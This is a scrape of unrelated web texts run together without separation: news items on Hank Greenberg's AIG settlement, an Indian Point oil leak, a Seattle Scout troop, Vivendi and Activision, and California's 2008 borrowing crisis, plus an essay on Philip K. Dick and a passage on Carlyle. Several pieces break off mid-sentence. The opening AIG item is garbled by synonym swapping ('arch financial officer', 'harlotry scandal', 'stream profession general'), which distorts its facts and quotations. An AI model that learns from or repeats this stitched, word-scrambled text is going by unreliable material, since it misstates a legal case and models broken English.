Former CEO Maurice “Hank” Greenberg and Howard Smith, a company’s former arch financial officer, certified to overseeing a transactions, that were designed to censor waste and increase reserves, a New York State Attorney General’s Office said.
Greenberg concluded to compensate $9 million, representing most of a bonuses he perceived between 2001 and 2004, a duration when a exchange seemed in a company’s financial results.
The allotment brought an finish to a authorised tale instituted in a pre-financial predicament epoch by afterwards New York Attorney General Eliot Spitzer in 2005.
AIG itself had staid with New York in 2006, profitable $1.6 billion to solve a matter. Later inaugurated governor, Spitzer stepped down in 2008 in a arise of a harlotry scandal.
Greenberg and Smith finally went on hearing in September, after years of check as invulnerability lawyers battled a charges.
Attorneys for Greenberg argued he could not have been wakeful of a transactions, given a distance and complexity of a company.
Prosecutors purported that Greenberg and Smith engineered a $500 million transaction with Berkshire Hathaway?s General Re to accelerate AIG’s detriment pot improperly and oversaw another transaction with an offshore association to modify underwriting waste into investment losses.
Eric Schneiderman, a stream profession general, pronounced Friday that Greenberg’s insurgency had finally come to an end.
“Today’s agreement settles a undoubted fact that Mr. Greenberg has denied for twelve years: that Mr. Greenberg orchestrated dual exchange that essentially skewed AIG’s finances,” Schneiderman pronounced in a statement.
In a matter published by a Attorney General’s office, Greenberg, 91, pronounced he had been wakeful of a exchange and concerned in both.
“I knew these contribution during a time that we initiated, participated in and authorized these dual transactions,” Greenberg was quoted as saying |
gallons of oil leaking into the Hudson River.
At an afternoon briefing, Cuomo said emergency crews were out on the water near Buchanan, New York, trying to contain and clean up the transformer fluid that leaked from the Indian Point 3 plant.
"There's no doubt that oil was discharged into the Hudson River," Cuomo said. "Exactly how much, we don't know."
Cuomo revealed Sunday that even after the blaze on the non-nuclear side of the plant was quickly doused, the heat reignited the fire, but it was again extinguished.
Oil in the transformer seeped into a holding tank that did not have the capacity to contain all the fluid, which then entered river waters through a discharge drain.
Joseph Martens, commissioner of the state Department of Environmental Protection, said measures were taken to keep the oil from spreading, including setting up booms over an area about 300 feet in diameter in the water.
The cleanup should take a day or two, Cuomo said.
A spokesman for the Nuclear Regulatory Commission, the U.S. regulator for nuclear power, said several thousand gallons of oil may have overflowed the transformer moat.
The reactor itself was deemed safe and stable throughout, said a spokesman for Entergy Corp., which owns the plant. The adjacent Unit 2 reactor was not affected and remained in operation.
The transformer at the Indian Point 3 plant, which is around 30 miles north of midtown Manhattan and surrounded by about 20 million residents, failed on Saturday evening, causing a fire that forced the automatic shutdown.
The fire on the non-nuclear side of the plant was quickly extinguished and the reactor was deemed safe and stable, said a spokesman for owner Entergy Corp.
"These situations we take very seriously. Luckily this was not a major situation. But the emergency protocols are very important," Cuomo said Saturday. "I take nothing lightly when it comes to this plant specifically."
The transformer at Indian Point 3 takes energy created by the plant and changes the voltage for the grid supplying power to New York state. The blaze, which sent black smoke billowing into the sky, was extinguished by a sprinkler system and on-site personnel, Entergy spokesman Jerry Nappi said. Westchester County police and fire were on site as a precaution.
It was not immediately clear what caused the failure, or whether the transformer would be repaired or replaced. Nappi said there were no health or safety risks.
"There is no threat to area residents," said Eliot Brenner, director of public affairs for the U.S. Nuclear Regulatory Commission. "They declared an unusual event. That's the lowest of our four situation designations."
An "unusual event" classification indicates a potential security threat or a possible "degradation of the level of safety" at a plant, according to the NRC website. It also means there have been "no releases of radioactive material requiring offsite response or monitoring."
The Indian Point Energy Center in Buchanan supplies electricity for millions of homes, businesses and public facilities in New York City and Westchester County.
In accordance with federal regulations, the NRC plus state, county and local officials were notified of the event, considered the lowest of four emergency classifications for U.S. nuclear plants.
Cuomo said there had been too many emergencies recently involving Indian Point. Unit 3 was shut down Thursday morning for an unrelated issue — a water leak on the non-nuclear side of the plant. It was repaired and there was no radioactive release, Nappi said. In March, Unit 3 was shut down for a planned refueling that took about a month.
The environmental watchdog group Riverkeeper issued a statement Sunday saying the latest Indian Point accident proves that the plant should be closed for good.
Wire servicesA Seattle Methodist church is standing firmly behind gay Scoutmaster Geoffrey McGrath, who has refused to resign from his post as Scoutmaster despite the Boy Scouts of America revoking the charter of Scout Troop 98 and Pack 98 for their refusal to remove the gay Scout leader. The BSA previously revoked McGrath's status as a Scoutmaster.
From Scouts For Equality:
The controversy surrounding Troop 98 emerged in March, when an NBC News report on the inclusive troop prompted the BSA to question the sexual orientation of Scoutmaster Geoffrey McGrath. McGrath, abiding by the Scout’s commitment to trustworthiness, acknowledged his sexual orientation to the BSA, which in turn, responded by revoking McGrath’s status as Scoutmaster.
Since then, support for McGrath has been overwhelmingly positive. The entire Seattle City Council, as well as more than 20 Washington State legislators, have expressed their support for Rainier Beach United Methodist Church’s right to determine its own leadership for McGrath’s ability to remain a Scoutmaster. Most important, RBUMC Rev. Dr. Monica Corsaro has stood by McGrath and has refused to remove him from his post. BSA is taking this action in direct contradiction to the inclusive religious beliefs and wishes of Rainer Beach Methodist Church.
“Based on our religious principles, we will continue to act as an autonomous church that does not discriminate,” said Rev. Corsaro. “We will continue to have our Troop meetings here, every Thursday night, with business as usual.”Unable to sell off Activision Blizzard, majority owner Vivendi is said to be considering a raid on the twin publisher’s capital.
According to a Financial Times report [paywall], Vivendi is looking at ways to make some ready money from Activision Blizzard after a failed attempt to sell off its 61% majority stake.
Citing anonymous sources, the publication claims Vivendi and Activision Blizzard have discussed having the latter company extend a tender offer partially covering Vivendi’s stake, funded by its available cash or a debt offering.
An agreement is in Activision Blizzard’s best interests because Vivendi will gain the power to forcibly extract cash dividends from its property as of Tuesday, apparently; in the past, Vivendi has had to gather support from Activision Blizzard’s directors for any cash grab which would bring the company to a net debt of over $400 million.
Vivendi is an international company headquartered in France which has finger in a wide variety of pies, including the oil industry. It always seems to be selling off Activision, but nobody seems to be in a position to buy one of the largest publishers in the world.
Vivendi pushed a new board member on Activision Blizzard last year, but still doesn’t seem happy with the US company’s performance.
Thanks, Reuters.UPDATE: Meghan King Edmonds has released the following statement to E! News about the latest uncovered drama surrounding Brooks Ayers:
"I pray for him. I would want to tell him that I hope he finds the truth somewhere in his life. The truth will set you free."
She adds, "It's a very sad and disgusting situation. I never believed I would be surrounded by such lies but hopefully now we can focus on the truth."
________
Shannon Beador and Tamra Judge are speaking out regarding E! News' exclusive which proved that Brooks was never treated for cancer at City of Hope medical center.
The Real Housewives of Orange County stars released statements sharing their thoughts on the bombshell revelation, and it's safe that to say that the Bravo ladies are still trying to wrap their heads around the whole ordeal.
"I can't say I am shocked," Tamra tells us exclusively. "I've always said, 'If he has cancer I hope he gets better and if he doesn't…I still hope he gets better.'"Creditors, shaken by the economic turmoil, are not providing the kind of short-term financing that governments, normally safe bets, depend on to stay afloat until tax revenue is collected.
“There may have been a little gamesmanship, a little pressure put on Congress to make sure the bailout passed,” said Sujit M. CanagaRetna, a fiscal analyst at the Council of State Governments, a research group. “But there is no doubt there is a severe credit crunch.”
Massachusetts, he said, recently fell $170 million short of the $400 million it had sought in the credit market to make a routine quarterly aid payment to cities and towns. Louisiana and New Mexico both postponed multimillion-dollar bond sales in the face of the quivering market.
The problem, he said, may grow worse as 15 states besides California, including New York and Connecticut, work to fill several billion dollars in funding gaps that have emerged this fall.
In his letter, first reported by The Los Angeles Times, Mr. Schwarzenegger said, “California and other states may be unable to obtain the necessary level of financing to maintain government operations and may be forced to turn to the federal treasury for short-term financing.”
Treasury officials said they were reviewing the letter.
If California follows through on a $7 billion request, the loan, the equivalent of $192 for each resident, could surpass the federal government’s bailout of New York City in 1975 as it teetered on bankruptcy. After initially refusing, the federal government eventually provided $2.5 billion in federal loan guarantees that helped the city recover.
Still, Mr. Schwarzenegger and state officials said they viewed such a loan as a last resort in the event the government recovery plan did not sufficiently unlock the credit market.
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“It is hard to get that loan” in the markets, Mr. Schwarzenegger said. “If we can’t get that loan through the normal course, we will go through the federal government, and we already set that in motion.”
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Asked what would happen if the markets or the government did not come through, Mr. Schwarzenegger replied, “This is no such thing in my vocabulary as, ‘what if not.’ We will.”
Mr. Schwarzenegger plans to meet on Saturday morning with John Chiang, the state comptroller, to discuss the problem, and to gather next week with legislative leaders to strategize.
Bill Lockyer, the state treasurer, had warned Wednesday that as Congress debated the rescue plan, the state had been locked out of credit markets for the past 10 days. “The credit market is frozen because financial institutions are afraid to commit capital amid enormous uncertainty,” he said.
Mr. Lockyer also said the state’s cash reserves would drain completely near the end of the month, jeopardizing payments for teachers’ salaries, nursing homes, law enforcement and an array of other state-financed services. California’s 5,000 cities, counties and school districts, he added, would face the same fate.
In an interview on Friday, Mr. Lockyer said the state routinely received short-term loans in the fall to cover payments until state coffers refill in the spring from tax revenue and other sources. But the shuttered credit market has upended the system, he said, adding that even if the credit markets loosened, it could cost more to borrow. He noted that in the weeks leading up to the crisis, borrowing terms had increased.
Still, Mr. Lockyer said he believed the recovery plan would provide some relief and predicted that would be more likely than the government loan.
“No one likes looking over the precipice, but I think we’re O.K.,” Mr. Lockyer said.
Analysts said the credit problems in California in part reflected years of budget problems lingering from the economic downturn after the Sept. 11 attacks.
“The state’s failure to bring the state budget back into balance in good times left the state very vulnerable to the downturn it is facing this cycle,” said Robert Kurtter of Moody’s Investors Service.
Late in September, California adopted a $143 billion budget, 85 days overdue, after a protracted fight between Mr. Schwarzenegger and the Legislature over how to close a $15 billion gap.
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The budget included some cuts in services. It also relied on accounting maneuvers and assumptions like voter approval to borrow $5 billion against future lottery revenue and to expand the state’s rainy-day fund to 12.5 percent of general fund expenditures, from 5 percent.Very sad music. Wiki tells us that this song was "probably the most widely known English song of the early 17th century." You can imagine John Dowland as the Elvis of his day -- an Elvis with an Elizabethan neck ruff rather than sideburns. Pop star fashions change, I guess.
I've actually forgotten when I first read Philip K. Dick's novel, Flow My Tears, the Policeman Said. I think it was about 1979-ish. I do remember that I gave away many copies of it to friends, eager to find just one that had the same reactions that I had to it. For a long time, I was a real Dick-head. I loved PKD. Perhaps one reason for that is that I didn't know anybody as crazy about him as I was. And that made him mine. I was his champion, a one-man Philip K. Dick crusade. His growing popularity, however, ruined that for me, and I began to move on to other things.
He has been an enduring influence for me through some of the ideas and themes of his novels and short stories. Oh, he's quite entertaining, but entertainment is one thing. Provoking thought, that's another.
Philip K. Dick's novels, including the book today, remind me of this famous 2400 year old Chinese poem by Zhuangzi:
iOnce Zhuangzi dreamt he was a butterfly, a butterfly flitting and fluttering around, happy with himself and doing as he pleased. He didn't know he was Zhuangzi. Suddenly he woke up and there he was, solid and unmistakable Zhuangzi. But he didn't know if he was Zhuangzi who had dreamt he was a butterfly, or a butterfly dreaming he was Zhuangzi. Between Zhuangzi and a butterfly there must be some distinction! This is called the Transformation of Things. (2, tr. Burton Watson 1968:49)
I'm going to refer back to this poem several times in this diary. I remember first hearing this on an episode of the old TV show Kung Fu back in the early 70s. My reaction at the time, "Probably profound, but, eh, kind of hippy-dippy." It did create a reaction though because I love puzzles. There's a puzzle in there that becomes more intriguing the more you think about it.
The premise of Dick's novel, Flow My Tears, the Policeman Said (Flow for short, from now on) is as follows. Jason Taverner, a pop star TV icon of some different but not very different time in the future awakes one day to find out that his identity has disappeared. Nobody knows him. There is no record of his ever having existed. And this puts him in some danger because his time and world is a bit of a fascist state, more like Terry Gilliam's Brazil than 1984. A pleasant place to be when you are SOMEBODY. Not so pleasant when you are nobody. Solving the problem of recovering his identity consumes most of the rest of the novel.
Jason Taverner a rotten guy. This is rather typical in Philip K. Dick's novels. He likes imperfect characters. He's not evil, but he is a schmuck, and he only dimly realizes it.
From the first page, a couple of paragraphs in:
"Do you realize what power you have?" Al Bliss, their business agent, said to Jason, coming up close--too close as always--to him. "Thirty million people saw you zip up your fly tonight. That's a record of sorts." "I zip up my fly every week," Jason said. "It's my trademark. Or don't you catch the show?" "But thirty million," Bliss said, his round, florid face spotted with drops of perspiration. "Think of it. And then there's the residuals." Jason said crisply, "I'll be dead before the residuals on this show pay off. Thank God." "You'll probably be dead tonight," Heather said, "with all those fans of yours packed in outside there. Just waiting to rip you into little tiny squares like so many postage stamps." "Some of them are your fans, Miss Hart," Al Bliss said, in his doglike panting voice. "God damn them," Heather said harshly. "Why don't they go away? Aren't they breaking some law, loitering or something?"
So there's actually something gratifying in seeing him brought low.
The premise, so set up, may be eerie in one way, but it's a comfortable eeriness. "I've seen episodes like this on the Twilight Zone," you say. Intriguing and familiar. We feel we know how this kind of story goes. It should be entertaining.
Philip K. Dick will destroy your expectations. Yes, that is the premise, the format of the story. But there's a certain special kind of contempt in Dick's writing, contempt for the reader, the publisher, the genre's limitations. I can imagine Dick saying to himself, "Yeah, here we go. I'm going to write another Twilight-Zoneish story. Whatever the little bastards want. Maybe I can still have some fun with this."
The first indication that the story isn't going to follow the normal pattern is when he meets a girl, Kathy, who is part of a counterfeit ID selling ring. She also is a fink for the police, ratting out subversives. It's just part of her job, and she tells him that up front because she falls in love with him in an absurdly short time. She offers to not turn him in if he'll go back to her place and make love to her.
"I would never turn you in. I love you." "You've known me perhaps five hours. Not even that." "But I can always tell." Her tone, her expression, both were firm. And deeply solemn. "You're not even sure who I am!" Kathy said, "I'm never sure who anybody is."
His reaction to Kathy, as it develops, is one of veiled but mostly-polite contempt. He's in a fix and he needs help, so if he has to play along with her loopy crush, fine, but he resents it and considers her beneath him. She just doesn't know she's beneath him. Because nobody knows who he is. Kathy is special, however, in that she believes his story, that he is a celebrity, one who has vanished from the world history through some spooky means. That SHOULD make her key to the story.
He learns that Kathy may be mentally ill (something reinforced when she has a total meltdown in a public restaurant.) Her conversations with him that at first helped set up the familiar Twilight-Zone spooky atmosphere become more disjointed and more just plain real world disturbed.
Kathy said, "You're more magnetic than Jack. He's magnetic, but you're so much, much more. Maybe after meeting you I couldn't really love him again. Or do you think a person can love two people equally, but in different ways? My therapy group says no, that I have to choose. They say that's one of the basic aspects of life. See, this has come up before; I've met several men more magnetic than Jack... but none of them as magnetic as you. Now I really don't know what to do. It's very difficult to decide such things because there's no one you can talk to: no one understands. You have to go through it alone, and sometimes you choose wrong. Like, what if I choose you over Jack and then he comes back and I don't give a shit about him; what then? How is he going to feel? That's important, but it's also important how I feel. If I like you or someone like you better than him, then I have to act it out, as our therapy group puts it. Did you know I was in a psychiatric hospital for eight weeks? Morningside Mental Hygiene Relations in Atherton. My folks paid for it. It cost a fortune because for some reason we weren't eligible for community or federal aid. Anyhow, I learned a lot about myself and I made a whole lot of friends, there. Most of the people I truly know I met at Morningside. Of course, when I originally met them back then I had the delusion that they were famous people like Mickey Quinn and Arlene Howe. You know--celebrities. Like you." He said, "I know both Quinn and Howe, and you haven't missed anything." Scrutinizing him, she said, "Maybe you're not a celebrity; maybe I've reverted back to my delusional period. They said I probably would, sometime. Sooner or later. Maybe it's later now." "That," he pointed out, "would make me a hallucination of yours. Try harder; I don't feel completely real." She laughed. But her mood remained somber. "Wouldn't that be strange if I made you up, like you just said? That if I fully recovered you'd disappear?" "I wouldn't disappear. But I'd cease to be a celebrity." "You already have." She raised her head, confronted him steadily. "Maybe that's it. Why you're a celebrity that no one's ever heard of. I made you up, you're a product of my delusional mind, and now I'm becoming sane again."
And here we have one of the real keys to the story, although it is fleeting. Jason Taverner hasn't fallen through a Twilight Zone portal. The nature of reality itself is being questioned in interesting ways, much more interesting ways than the usual scifi schtick. Is Taverner having a nightmare? Or is Taverner a prisoner in somebody else's nightmare? Could it be as simple as that, a nightmare, like the man Zhuangzi dreaming himself a butterfly?
I'm going to leave the story here for the moment to talk more about Philip K. Dick and the recurring themes in his novels and stories.
From a speech Dick delivered, How to Build a Universe That Doesn't Fall Apart Two Days Later:
I will tell you what interests me, what I consider important. I can't claim to be an authority on anything, but I can honestly say that certain matters absolutely fascinate me, and that I write about them all the time. The two basic topics which fascinate me are "What is reality?" and "What constitutes the authentic human being?" Over the twenty-seven years in which I have published novels and stories I have investigated these two interrelated topics over and over again. I consider them important topics. What are we? What is it which surrounds us, that we call the not-me, or the empirical or phenomenal world?
A lot of people tune out at this point, the way they tuned out in Intro to Phil 101, the way I, as a kid, was intrigued but also dismissed the Zhuangzi poem as dippiness. You have to be at a point in your life when you are ready to find things like this interesting.
Not everybody gets there. I'm not sure that's a bad thing, either. Just a thing.
When I went back to college and took Calculus II in school, I had a wide-ranging talk after class with the teacher in which he commented on things he still had trouble grasping. One was the mathematical concept of infinity. He said that he still gets stuck on it, trying to grasp it. I couldn't say I felt the same way about infinity anymore... but I knew very well what it was like to go off the deep end trying to grasp something forever out of reach.
My first exposure to the mathematical concept of infinity was when I was about nine, I think. My brother explained it to me. Infinity was greater than any number, he told me. That seemed unlikely. I wasn't very good at multiplication or division, but I did understand addition quite well. Whatever number you can think of, there's always at least one number greater than that one that you can get by adding one to it. And another by adding one to that. Forever. Never an end to it. When I was nine, that did fascinate me. Part of me wanted to find the catch in it, because it seemed all wrong. Everything has to have an end, doesn't it? Everything we encounter in life (or that I had encountered by nine) seemed to have some kind of limit on its dimensions. So I was unwilling to just accept the concept of infinity because my brother told me about it. I had to poke and prod it. There had to be more to it.
I lost most of my interest in infinity after that. I just accepted it as a discrete concept with a utility. Trying to achieve any deeper understanding of it was a wild goose chase. Still, when that teacher told me about his personal grappling with infinity, I could understand it.
I grapple with the infinite all the time. I don't say that to boast. it's just the way I am, and to some degree, the way that teacher was, and many people are. But not everybody. I think I divide the world up into those people who are capable of going off into a trance over ideas that are too big to get a hold of, and those who are well-adjusted enough to tune that out and watch us gazers with interest or dismay. I really don't know if it's a good thing or a bad thing. I could argue both ways on that.
In a taped two hour interview from 1979 that I listened to yesterday [Here], Philip K. Dick described how, in college geometry, a teacher put the problem up on the board of proving the trisection of an angle, a classic unsolved problem from the days of the ancient Greeks. Dick said that he stood up there at the board and tried one idea, then another, then another, until the teacher became exasperate and told him very loudly that it hadn't been solved by the greatest minds in thousands of years and he was quite sure young Mr. Dick wasn't going to solve it for them today at the blackboard. But he still couldn't stop thinking about it. He later failed the class.
This struck me so hard. I can remember few of the problems from geometry that I learned in high school, but I remember the one about the trisection of the angle. It stuck with me because it WAS unsolved and because it seemed like it should be solvable and it absorbed all my attention in a way the rest of the class didn't.
How funny to hear this story recounted years later by Philip K. Dick. Some of us have damaged brains that way.
This is a blessing. This is a curse. This is a blessing and a curse. In my case, I can trace it to being bipolar. I was hyperactive and a terrible behavioral problem when I was very young. My family always had somebody keep a tight watch on me because when I wasn't watched, I was as destructive as a pet raccoon. I remember that there was a large, expensive painting on a wall in the living room. It was so beautiful, I wanted to draw on it with crayons. Wisely, my parents had put it out of my reach. That didn't dissuade me, however. I built my own enormous scaffold out of miscellaneous household objects, like a lab monkey piling blocks to get a banana! I colored ALL OVER that painting. My mother was in tears. The rest of the family was too impressed to be mad. Not impressed with my drawing, mind you, but with the whole engineering of the project. Oh, I felt ashamed and like a turd. But that painting had so obsessed me, I could not resist it. Getting to that painting was a less difficult task than trisecting the angle or contemplating infinity or forming an alternative theory about the nature of reality or puzzling over whether beautiful music is eternal (my favorite type of infinity).
In Philip K. Dick's short story, The Electric Ant, he offers up the tale of a man who checks into the hospital and finds out, to his disappointment, that he is not a human, but an android. (This is all explained very brusquely because the hows and whys are not that important to Dick.) What was his "medical" problem then? It was really an engineering problem. His Reality Tape got stuck. What's that? Well, when you open his chest, you find this very long punched tape going through a small tape reader. If that gets jammed, he blacks out. At home, in a bad funk, (he is very human in all other respects) he decides to experiment on himself by altering the holes in the tape. In one experiment, he tapes over and blocks holes. As that part of the tape rolls forward, the walls of his building disappear, as do other random objects, probably corresponding to some holes or patterns on the tape. Next he tries punching extra holes in the tape. He goes out for cocktails with friends about the time the holes reach the tape reader lens, and he sees a host of weird things, like flocks of birds flying through the room.
An engineer warns him about such experimentation; if the tape were to be damaged or cut and the reader lens exposed to pure, unfiltered light, he would burn himself out. But he becomes intrigued with the idea. If a few extra holes allow him to perceive more things, what would perceiving everything be like? So he cuts the tape and waits. The end.
The most obvious parallel we can see in the story The Electric Ant is with hallucinatory drug experimentation. That's how I read it. Philip K. Dick acquired a reputation as a "psychedelic writer" during the late sixties because of his fiction. In the 1979 interview, he states that yeah, he had a big drug problem, but it was from prescription amphetamine abuse. He was writing so much -- 60 books in five years at one point, fifty pages a day -- that he needed it to just keep going. It ruined his body. Probably didn't do much good for his brain, either. He admits that he did try LSD, but only twice. The first time did nothing (and that too was my non-experience with my only exposure to it). The second, in 1964, with Sandoz prescription LSD (there was such a thing at one time, kiddies) was awful. To paraphrase him from my notes, he the landscape froze over. God was judging him as a sinner. It went on for a thousand years. He could only speak Latin, which was pissing off the girl babysitting him. The only part he actually liked was when he looked in the refrigerator and saw it was full of stalactites and stalagmites. He thought it was the most beautiful thing he ever saw. He laughed about it now but begged people not to take LSD. Or other drugs.
His anti-drug novel, Through a Scanner Darkly, which was turned into a terribly putrid partially animated film starring Keanu Reeves and Wynona Ryder, was a partly autobiographical tale about his own experiences with his friends, many of whom were addicts. It was presented in a vaguely science-fictiony form (as Flow My Tears is), the plot really an excuse for a deeper tale about damaged people and the confusion of reality in drug-damaged minds. The main character, an undercover narc, with brain damage from using drugs in his undercover role, forgets that he is playing two roles and engages in a split personality surveillance of himself. Ultimately he reports himself to the authorities, only to be surprised when they tell him that he's been bugging his own house.
... Now back to our novel.
Our protagonist, Jason Taverner, on his own after having ditched Kathy, runs into a police checkpoint and is almost discovered. After his identity passes inspection, Kathy, whom he thought he had shaken loose, shows up to say, I told you I made you a good ID. She asks him to come home with her, and he reluctantly does. There, to her dismay, is her police handler, McNulty that she informs to. He's interested in Jason Taverner, who is slowly having his ego reduced by his experiences, because in this police state, nobody should have NO record anywhere in the system, and they can't figure him out. Coming to their attention is a bad thing.
Kathy has been McNulty's informant for years. She has told Taverner many times she has to do it because they have her husband Jack in a forced labor camp.
To Kathy, McNulty said, "He's not exactly cowering. Does he know who I am?" "Yes," Kathy said. "I--told him. Part of it." "You told him about Jack," McNulty said. To Jason he said, "There is no Jack. She thinks so but it's a psychotic delusion. Her husband died three years ago in a quibble accident; he was never in a forced-labor camp." "Jack is still alive," Kathy said. "You see?" McNulty said to Jason. "She's made a pretty fair adjustment to the outside world except for this one fixed idea. It will never go away; she'll have it for the balance of her life." He shrugged. "It's a harmless idea and it keeps her going. So we've made no attempt to deal with it psychiatrically."
As you read the novel, if you're used to the format, you expect the payoff at some point. Kathy is mentally ill? Well, sometimes mentally ill people, in stories like this, are more perceptive, can see things that other people can't. Maybe, you think, that's what is happening here. Her illness will become a plot device to provide some portal back to his normal world where he's a big shot celebrity. Maybe you've come to that expectation independently just reading my little review up to this point.
Nice try. We can see that Kathy has become an important character in the story. But she is not a plot device. She is a character and will soon be made totally irrelevant, as if her whole part in the story could be excised without affecting the overall form. Jason Taverner's uncomfortable relationship with this girl whom he despises and uses and also, to a lesser degree, pities, gives us an insight into his shallow nature. She moves the story along in that sense. But to my ghastly, ghastly, ghastly surprise when I read this for the first time -- she proves to be non-integral to the forward motion of the plot. It's amateurish!
Yet I've spent most of my review talking about her. Jason has used her. The police have used her. And perhaps this is too clever, but so has Philip K. Dick used her. She is discarded and no more has heard of her. You may keep waiting for her to show up and save him at the end, for something to click with her, give further reason for her prominent place in the first third of the book. But you get none. This is clearly (to me) deliberate on the author's part.
The police don't keep Jason Taverner long. They find him interesting and let him go but are secretly following him to see where he goes, what his real game is.
It's at this point in the story that we are introduced to big shot Police General Felix Buckner. Interestingly, he is a fan of John Dowland and of the song Flow My Tears, which he comments on at a few points in the book. As the novel progresses, the focus on Jason Taverner dissolves away from him and onto Buckner, who, even though he is a fascist asshole, has his own growing personal complications. For one thing, he's having an incestuous affair with his bisexual leather-clad drug addict sister, Alys. He's also in a state of deep despair over the meaning of his life that spikes at moments when he goes off into private soliloquies about Dowland's music, its importance and meaning to him. For instance, he describes John Dowland's music as "the first truly abstract music." A strange description for such a unrelievedly sad piece of music. There are, indeed, abstract aspects to Dowland's piece. If you're interested in this, you can try this youtube which exhaustively analyzes seven bars out of the middle of the piece with score illustrations. But his insistence on its abstraction, his analysis of its beauty, strikes me as a distraction. This is a man that, as we go along, declines further into a depressive meltdown. He doesn't comment on the emotions of the piece. It makes his final sobbing tears in the conclusion all the more shocking and sincere.
After Taverner's release, he is without friends, without money and he knows he is at risk of the police. What is he to do for sanctuary? He looks up old girlfriends, aging beauties who don't remember him, ones who did not become great successes, and he courts them again like a gigolo. The old saying, "Be nice to 'em on the way up because you'll meet 'em all over again on the way down," plays itself out. In the further course of the book, he transforms from egotistical schmuck into a humbler, sort-of-nicer guy with more respect for others. The people that he used to call "the ordinaries" before his fall.
The conclusion for Jason Taverner comes as an anti-climax, and that's often the case with Philip K. Dick. They are sometimes insulting to the intelligence.
In this case, Jason finally meets somebody, through happenstance who knows him. It's Felix's incestuous twin sister, Alys. She picks him up and takes him back to hers and Felix's place (Felix doesn't know yet). On the way, she puts some Jason Taverner music on the music player and tells him what a big fan of him and his show she has been. For years. Jason is excited. Somebody knows me? Maybe I'm a real person again! Having been humbled, he doesn't press his questioning too quickly or aggressively.
"Okay," Alys said reasonably, undaunted. "What would you like to do? We have a good collection of Rilke and Brecht in interlinear translation discs. The other day Felix came home with a quad-and-light set of all seven Sibelius symphonies; it's very good. For dinner Emma is preparing frog's legs... Felix loves both frog's legs and escargot. He eats out in good French and Basque restaurants most of the time but tonight--"
"I want to know," Jason interrupted, "where I am."
"Can't you simply be happy?"At the Buckman house she wants to drop a drug with him that she tells him is mescaline, and he agrees. Felix trips out. As he recovers, he decides to take some of his albums with him, the only proof in the world that he exists. However, before he leaves, he sees that Alys lies dead on the |
failure, his individual portion is the gallows.”
He imagines a flight across Paris “waving open all roofs and privacies”, noting the different responses.
“Fighters of this section draw out; hear that the next Section does not; and thereupon draw in. Sainte-Antoine, on this side the River, is uncertain of Saint-Marceau on that”.
He charts the uncertainties of the night until the morning when the royal family and courtiers, after beginning to believe that they are safe and the ringing of the tocsin has not summoned the revolutionaries, look out of the palace windows to see armed crowds advancing towards them.
“Unhappy Friends, the tocsin does yield, has yielded! Lo ye, how with the first sun-rays its Ocean-tide, of pikes and fusils, flows glittering from the far East,—immeasurable; born of the Night!”
He is acutely aware of the dynamics of the revolution and understands the external threat of invasion and the internal threat of counter-revolution that produced the September Massacres.
“Thirty thousand Aristocrats within our own walls; and but the merest quarter-tithe of them yet put in Prison. Nay there goes a word that even these will revolt.”
While for many of his contemporaries, as for many historians writing today, the September Massacres are an event that has a supra-historical character and serve to condemn the revolution, Carlyle was careful to set them within the historical context of previous massacres and atrocities carried out under the ancien regime.
“Kings themselves, not in desperation, but only in difficulty, have sat hatching, for year and day... their Bartholomew Business”.
He weighs the questions that faced the revolutionaries in relation to the king.
“Keep him prisoner, he is a secret centre for the Disaffected, for endless plots, attempts and hopes of theirs. Banish him, he is an open centre for them; his royal war-standard, with what of divinity it has, unrolls itself, summoning the world. Put him to death? A cruel, questionable extremity that too: and yet the likeliest in these extreme circumstances, of insurrectionary men, whose own life and death lies staked: accordingly it is said, from the last step of the throne to the first of the scaffold there is a short distance.”
To those that would condemn the revolutionaries for lack of mercy he points out:
“Reader, thou hast never lived, for months, under the rustle of Prussian gallows-ropes”.
He recognises the political dynamics of the Terror and the relationship which developed between the sans culottes and the most determined of the Jacobins in the National Assembly—the Mountain—who established a system of repression against the enemies of the revolution. This was the Terror.
“[T]ill treason be punished at home; they do not fly to the frontiers; but only fly hither and thither, demanding and denouncing. The Mountain must speak new fiat, and new fiats”.
The Terror does not emerge as the work of a few conspirators in Carlyle’s account of the French Revolution, but as the expression of a class that is fighting for its very existence.
“Twenty-five million, risen at length into Pythian mood, had stood up simultaneously to say, with a sound that goes through far lands and times, that this untruth of an Existence had become insupportable. Oh ye Hypocrisies and Speciosities, Royal mantles, Cardinal plushcloaks, ye Credos, Formulas, Respectabilities, fair-painted Sepulchres full of dead-men’s bones, behold, ye appear to us to be altogether a Lie. Yet our Life is not a Lie, yet our Hunger and Misery is not a Lie! Behold we lift up, one and all, our Twenty-five million right hands; and take the Heavens, and the Earth and also the Pit of Tophet to witness, that either ye shall be abolished, or else we shall be abolished.”
It was Carlyle’s genius as a historian; that, without sympathising with Robespierre, he could understand the social forces that lay behind this slight, apparently insignificant, provincial lawyer and made him a great revolutionary. He demonstrated the same ability to understand the revolutionary role that Oliver Cromwell played in the English Revolution. He produced an edition of Cromwell’s letters (1845) that Marx admired.
“To Thomas Carlyle belongs the credit of having taken the literary field against the bourgeoisie at a time when its views, tastes and ideas held the whole of official English literature totally in thrall, and in a manner which is at times even revolutionary. For example, in his history of the French Revolution, in his apology for Cromwell, in the pamphlet on Chartism and in Past and Present.” [Karl Marx, “Review: Latter-Day Pamphlets”, Neue Rheinische Zeitung Politisch-ökonomische Revue No. 4, April, 1850, MECW, vol. 10, pp. 301-10]
But 1848 was for Carlyle, as for other radical members of the bourgeoisie, a turning point beyond which they had no stomach for revolution. Carlyle lost his faith in democracy as revolution swept Europe and the working class emerged for the first time as a distinct and independent political force. Workers were to Carlyle “Vagrant Lackalls”. Under these conditions, Carlyle feared that universal suffrage would mean rule by the ignorant rather than the noble and the wise. The youth of the “Students, young men of letters, advocates, newspaper writers, hot inexperienced enthusiasts” who led the 1848 revolutions he now found disconcerting in a way that it had not been when he wrote of the youth of the Jacobins.
A tendency to idealise the medieval, which had always been evident in Carlyle, as it was in other English radicals and even some Chartists, came increasingly to dominate his thought after 1848. The genius of his early works was lost in Carlyle’s later works, among which can be numbered his life of Frederick the Great, the book which Hitler was reading during his last days in the bunker. In these later works only the cult of the great man remained. Despite Carlyle’s later evolution his early works are still well worth reading for the insight they offer into the development of radical thought in his own time, for their importance in the development of historiography and because they offer an effective antidote to the prevailing air of cynicism, derived from postmodernism, that has infected the study of the French Revolution.Alex Biega is a 6 feet 3 inch 209 pound defenseman currently playing for the Rochester Americans in the AHL. The Buffalo Sabres selected Biega in the 5th round (147th) of the 2006 NHL Entry Draft. Due to NCAA regulations the Sabres were not able to sign him until he graduated from Harvard University in 2010.
